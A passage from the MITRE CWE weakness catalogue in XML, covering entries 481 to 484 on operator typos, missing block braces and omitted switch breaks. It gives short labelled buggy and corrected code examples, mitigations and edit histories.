					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Using the Wrong
						Operator</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="481" Name="Assigning instead of Comparing" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The code uses an operator for assignment when the intention was
					to perform a comparison.</Description_Summary>
				        <Extended_Description>
					          <Text>In many languages the compare statement is very close in appearance to the
						assignment statement and are often confused. This bug is generally the
						result of a typo and usually causes obvious problems with program execution.
						If the comparison is in an if statement, the if statement will usually
						evaluate the value of the right-hand side of the predicate. </Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>480</Relationship_Target_ID>
					          <!--Use of Incorrect Operator-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>697</Relationship_Target_ID>
					          <!--Insufficient Comparison-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>569</Relationship_Target_ID>
					          <!--Expression Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>885</Relationship_Target_ID>
					          <!--SFP Cluster: Risky Values-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
					          <Language Language_Name="Java"/>
					          <Language Language_Name=".NET"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Low</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Alter execution
						logic</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Many IDEs and static analysis products will
							detect this problem.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Place constants on the left. If one attempts to assign a constant with
							a variable, the compiler will of course produce an error.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-102">
					          <Intro_Text>The following C/C++ and C# examples attempt to validate an int input
						parameter against the integer value 100.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C#</Code_Example_Language>
							              <Code>int isValid(int value) {</Code>
							              <Block>
								                <Code>if (value=100) {</Code>
								                <Block>
									                  <Code>printf("Value is valid\n");</Code>
									                  <Code>return(1);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>printf("Value is not valid\n");</Code>
								                <Code>return(0);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C#</Code_Example_Language>
							              <Code>bool isValid(int value) {</Code>
							              <Block>
								                <Code>if (value=100) {</Code>
								                <Block>
									                  <Code>Console.WriteLine("Value is valid.");</Code>
									                  <Code>return true;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>Console.WriteLine("Value is not valid.");</Code>
								                <Code>return false;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, the expression to be evaluated in the if statement uses the 
							assignment operator "=" rather than the comparison operator "==". 
							The result of using the assignment operator instead of the comparison 
							operator causes the int variable to be reassigned locally and the 
							expression in the if statement will always evaluate to the value on the 
							right hand side of the expression. This will result in the input value not 
							being properly validated, which can cause unexpected results.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>In this example, we show how assigning instead of comparing can
						impact code when values are being passed by reference instead of by value.
						Consider a scenario in which a string is being processed from user input.
						Assume the string has already been formatted such that different user inputs
						are concatenated with the colon character. When the processString function
						is called, the test for the colon character will result in an insertion of
						the colon character instead, adding new input separators. Since the string
						was passed by reference, the data sentinels will be inserted in the original
						string (CWE-464), and further processing of the inputs will be altered,
						possibly malformed..</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>void processString (char *str) {</Code>
							              <Block>
								                <Code>int i;</Code>
								                <Code/>
								                <Code>for(i=0; i&lt;strlen(str); i++) {</Code>
								                <Block>
									                  <Code>if (isalnum(str[i])){</Code>
									                  <Block>
										                    <Code>processChar(str[i]);</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code>else if (str[i] = ':') {</Code>
									                  <Block>
										                    <Code>movingToNewInput();}</Code>
									                  </Block>
									                  <Code>}</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The following Java example attempts to perform some processing based
						on the boolean value of the input parameter. However, the expression to be
						evaluated in the if statement uses the assignment operator "=" rather than
						the comparison operator "==". As with the previous examples, the variable
						will be reassigned locally and the expression in the if statement will
						evaluate to true and unintended processing may occur.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public void checkValid(boolean isValid) {</Code>
							              <Block>
								                <Code>if (isValid = true) {</Code>
								                <Block>
									                  <Code>System.out.println("Performing processing");</Code>
									                  <Code>doSomethingImportant();</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>else {</Code>
								                <Block>
									                  <Code>System.out.println("Not Valid, do not perform
										processing");</Code>
									                  <Code>return;</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>While most Java compilers will catch the use of an assignment operator
							when a comparison operator is required, for boolean variables in Java
							the use of the assignment operator within an expression is allowed. If
							possible, try to avoid using comparison operators on boolean variables
							in java. Instead, let the values of the variables stand for themselves,
							as in the following code.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public void checkValid(boolean isValid) {</Code>
							              <Block>
								                <Code>if (isValid) {</Code>
								                <Block>
									                  <Code>System.out.println("Performing processing");</Code>
									                  <Code>doSomethingImportant();</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>else {</Code>
								                <Block>
									                  <Code>System.out.println("Not Valid, do not perform
										processing");</Code>
									                  <Code>return;</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>Alternatively, to test for false, just use the boolean NOT
							operator.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public void checkValid(boolean isValid) {</Code>
							              <Block>
								                <Code>if (!isValid) {</Code>
								                <Block>
									                  <Code>System.out.println("Not Valid, do not perform
										processing");</Code>
									                  <Code>return;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>System.out.println("Performing processing");</Code>
								                <Code>doSomethingImportant();</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text/>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>void called(int foo){</Code>
							              <Block>
								                <Code>if (foo=1) printf("foo\n");</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>int main() {</Code>
							              <Block>
								                <Code/>
								                <Code>called(2);</Code>
								                <Code>return 0;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 6, "Typos", Page 289.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Assigning instead of comparing</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Description, Relationships,
						Other_Notes, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="482" Name="Comparing instead of Assigning" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The code uses an operator for comparison when the intention was
					to perform an assignment.</Description_Summary>
				        <Extended_Description>
					          <Text>In many languages, the compare statement is very close in appearance to
						the assignment statement; they are often confused.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>480</Relationship_Target_ID>
					          <!--Use of Incorrect Operator-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>569</Relationship_Target_ID>
					          <!--Expression Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>747</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 49 - Miscellaneous (MSC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>883</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>886</Relationship_Target_ID>
					          <!--SFP Cluster: Unused entities-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Modes_of_Introduction>
				        <Mode_of_Introduction>
					          <Text>This bug primarily originates from a typo.</Text>
				        </Mode_of_Introduction>
			      </Modes_of_Introduction>
			      <Likelihood_of_Exploit>Low</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The assignment will not take place, which should cause obvious program
							execution problems. </Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Many IDEs and static analysis products will
							detect this problem.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text/>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>void called(int foo) {</Code>
							              <Block>
								                <Code>foo==1;</Code>
								                <Code>if (foo==1) printf("foo\n");</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>int main() {</Code>
							              <Block>
								                <Code/>
								                <Code>called(2);</Code>
								                <Code>return 0;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-103">
					          <Intro_Text>The following C/C++ example shows a simple implementation of a 
						stack that includes methods for adding and removing integer values from 
						the stack.  The example uses pointers to add and remove integer values to 
						the stack array variable.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>#define SIZE 50</Code>
							              <Code>int  *tos, *p1, stack[SIZE];</Code>
							              <Code/>
							              <Code>void push(int i) {</Code>
							              <Block>
								                <Code>p1++;</Code>
								                <Code>if(p1==(tos+SIZE)) {</Code>
								                <Block>
									                  <Comment>// Print stack overflow error message and exit</Comment>
								                </Block>
								                <Code>}</Code>
								                <Code>*p1 == i;</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>int pop(void) {</Code>
							              <Block>
								                <Code>if(p1==tos) {</Code>
								                <Block>
									                  <Comment>// Print stack underflow error message and exit</Comment>
								                </Block>
								                <Code>}</Code>
								                <Code>p1--;</Code>
								                <Code>return *(p1+1);</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>int main(int argc, char *argv[]) {</Code>
							              <Block>
								                <Comment>// initialize tos and p1 to point to the top of stack</Comment>
								                <Code>tos = stack;</Code>
								                <Code>p1 = stack;</Code> 
								                <Comment>// code to add and remove items from stack</Comment>
								                <Code>...</Code>
								                <Code>return 0;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The push method includes an expression to assign the integer value 
							to the location in the stack pointed to by the pointer variable. </Text>
						            <Text>However, this expression uses the comparison operator "==" rather 
							than the assignment operator "=".  The result of using the comparison 
							operator instead of the assignment operator causes erroneous values 
							to be entered into the stack and can cause unexpected results.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 6, "Typos", Page 289.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Comparing instead of assigning</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Avoid errors of omission</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC02-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Avoid errors of omission</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC02-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Description, Relationships,
						Other_Notes, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Modes_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="483" Name="Incorrect Block Delimitation" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The code does not explicitly delimit a block that is intended
					to contain 2 or more statements, creating a logic error.</Description_Summary>
				        <Extended_Description>
					          <Text>In some languages, braces (or other delimiters) are optional for blocks.
						When the delimiter is omitted, it is possible to insert a logic error in
						which a statement is thought to be in a block but is not. In some cases, the
						logic error can have security implications.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>670</Relationship_Target_ID>
					          <!--Always-Incorrect Control Flow Implementation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>398</Relationship_Target_ID>
					          <!--Indicator of Poor Code Quality-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Prevalence="Sometimes" Language_Name="C"/>
					          <Language Prevalence="Sometimes" Language_Name="C++"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Low</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Alter execution
						logic</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>This is a general logic error which will often lead to
							obviously-incorrect behaviors that are quickly noticed and fixed. In
							lightly tested or untested code, this error may be introduced it into a
							production environment and provide additional attack vectors by creating
							a control flow path leading to an unexpected state in the application.
							The consequences will depend on the types of behaviors that are being
							incorrectly executed.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Always use explicit block delimitation and use static-analysis
							technologies to enforce this practice.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In this example, the programmer has indented the statements to call
						Do_X() and Do_Y(), as if the intention is that these functions are only
						called when the condition is true. However, because there are no braces to
						signify the block, Do_Y() will always be executed, even if the condition is
						false.</Intro_Text>
					          <Example_Body>
						            <Code_Example_Language>C</Code_Example_Language>
						            <Block Block_Nature="Bad_Code">
							              <Code>if (condition==true)</Code>
							              <Block>
								                <Code>Do_X();</Code>
								                <Code>Do_Y();</Code>
							              </Block>
						            </Block>
						            <Text>This might not be what the programmer intended. When the condition is
							critical for security, such as in making a security decision or
							detecting a critical error, this may produce a vulnerability.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>In this example, the programmer has indented the Do_Y() statement as
						if the intention is that the function should be associated with the
						preceding conditional and should only be called when the condition is true.
						However, because Do_X() was called on the same line as the conditional and
						there are no braces to signify the block, Do_Y() will always be executed,
						even if the condition is false.</Intro_Text>
					          <Example_Body>
						            <Code_Example_Language>C</Code_Example_Language>
						            <Block Block_Nature="Bad_Code">
							              <Code>if (condition==true) Do_X();</Code>
							              <Block>
								                <Code>Do_Y();</Code>
							              </Block>
						            </Block>
						            <Text>This might not be what the programmer intended. When the condition is
							critical for security, such as in making a security decision or
							detecting a critical error, this may produce a vulnerability.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Incorrect block delimitation</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Contribution Contribution_Mode="Feedback">
					          <Contributor>Michael Koo and Paul Black</Contributor>
					          <Contribution_Organization>NIST</Contribution_Organization>
					          <Contribution_Date>2010-04-28</Contribution_Date>
					          <Contribution_Comment>Correction to Demonstrative
						Examples</Contribution_Comment>
				        </Contribution>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Description, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Description,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="484" Name="Omitted Break Statement in Switch" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The program omits a break statement within a switch or similar
					construct, causing code associated with multiple conditions to execute. This can
					cause problems when the programmer only intended to execute code associated with
					one condition.</Description_Summary>
				        <Extended_Description>
					          <Text>This can lead to critical code executing in situations where it should
						not.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
